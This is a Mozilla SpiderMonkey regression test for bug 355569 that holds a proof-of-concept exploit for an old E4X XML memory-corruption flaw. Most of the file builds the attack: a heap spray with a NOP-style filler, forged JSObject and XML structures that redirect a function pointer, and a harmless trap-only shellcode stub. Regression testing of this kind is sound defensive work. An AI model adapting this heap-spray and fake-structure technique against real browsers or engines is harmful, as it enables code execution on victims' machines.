src/third_party/mozjs-45/js/src/tests/js1_8_5/regress/regress-355569.js

/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */

/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */

var bug = 355569;
var actual = '';
var expect = '';

printBugNumber (bug);
printStatus (summary);

var targetAddress = 0x12030010;
var sprayParams = {
  chunkSize: 16 * 1024 * 1024,
  chunkCount: 16,
  chunkMarker: 0xdeadface,
  chunkAlign: 0x1000,
  reservedSize: 1024
};

function makeExploitCode() {
  /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
  return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
}

/*==========================================================================*/
/*==========================================================================*/

function packData(template, A) {
  var n = 0, result = "", vl;
  for(var i = 0; i < template.length; i++) {
    var ch = template.charAt(i);
    if(ch == "s" || ch == "S") {
      vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff);
    } else if(ch == "l" || ch == "L") { // XXX endian
      vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16);
    } else if(ch == "=") {
      result += String(A[n++]);
    }
  }
  return result;
}
function buildStructure(worker, address) {
  var offs = {}, result = "", context = {
    append: function(k, v) { offs[k] = result.length * 2; result += v; },
    address: function(k) { return address + ((k && offs[k]) || 0); }
  }; worker(context); result = ""; worker(context); return result;
}
function repeatToLength(s, L) {
  if(L <= s.length) { return s.substring(0, L); }
  while(s.length <= L/2) { s += s; }
  return s + s.substring(0, L - s.length);
}
function sprayData(data, params, rooter) {
  var marker = packData("L", [ params.chunkMarker ]);
  data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length);
  data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2);
  for(var i = 0; i < params.chunkCount; i++) {
    rooter[i] = marker + data + i;
  }
}

function T_JSObject(map, slots)
{ return packData("LL", arguments); }
function T_JSObjectMap(nrefs, ops, nslots, freeslot)
{ return packData("LLLL", arguments); }
function T_JSObjectOps(
  newObjectMap, destroyObjectMap, lookupProperty, defineProperty,
  getProperty, setProperty, getAttributes, setAttributes,
  deleteProperty, defaultValue, enumerate, checkAccess,
  thisObject, dropProperty, call, construct,
  xdrObject, hasInstance, setProto, setParent,
  mark, clear, getRequiredSlot, setRequiredSlot
) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); }

function T_JSXML_LIST(
  object, domnode, parent, name, xml_class, xml_flags,
  kids_length, kids_capacity, kids_vector, kids_cursors,
  xml_target, xml_targetprop
) { return packData("LLLLSS LLLL LL", arguments); }
function T_JSXML_ELEMENT(
  object, domnode, parent, name, xml_class, xml_flags,
  kids_length, kids_capacity, kids_vector, kids_cursors,
  nses_length, nses_capacity, nses_vector, nses_cursors,
  atrs_length, atrs_capacity, atrs_vector, atrs_cursors
) { return packData("LLLLSS LLLL LLLL LLLL", arguments); }

/*==========================================================================*/
/*==========================================================================*/

function makeExploitData(address) {
  return buildStructure(function(ctx) {
    ctx.append("xml-list",
      T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0));
    ctx.append("xml-kids-vector",
      packData("L", [ ctx.address("xml-element") ]));
    ctx.append("xml-element",
      T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0));
    ctx.append("object",
      T_JSObject(ctx.address("object-map"), 0));
    ctx.append("object-map",
      T_JSObjectMap(0, ctx.address("object-ops"), 0, 0));
    ctx.append("object-ops",
      T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0));
    ctx.append("exploit-code",
      makeExploitCode(ctx));
  }, address);
}

function exploit() {
  sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {});
  var numobj = new Number(targetAddress >> 1);
  printStatus("probably not exploitable");
}

try
{
    exploit();
}
catch(ex)
{
}

reportCompare(expect, actual);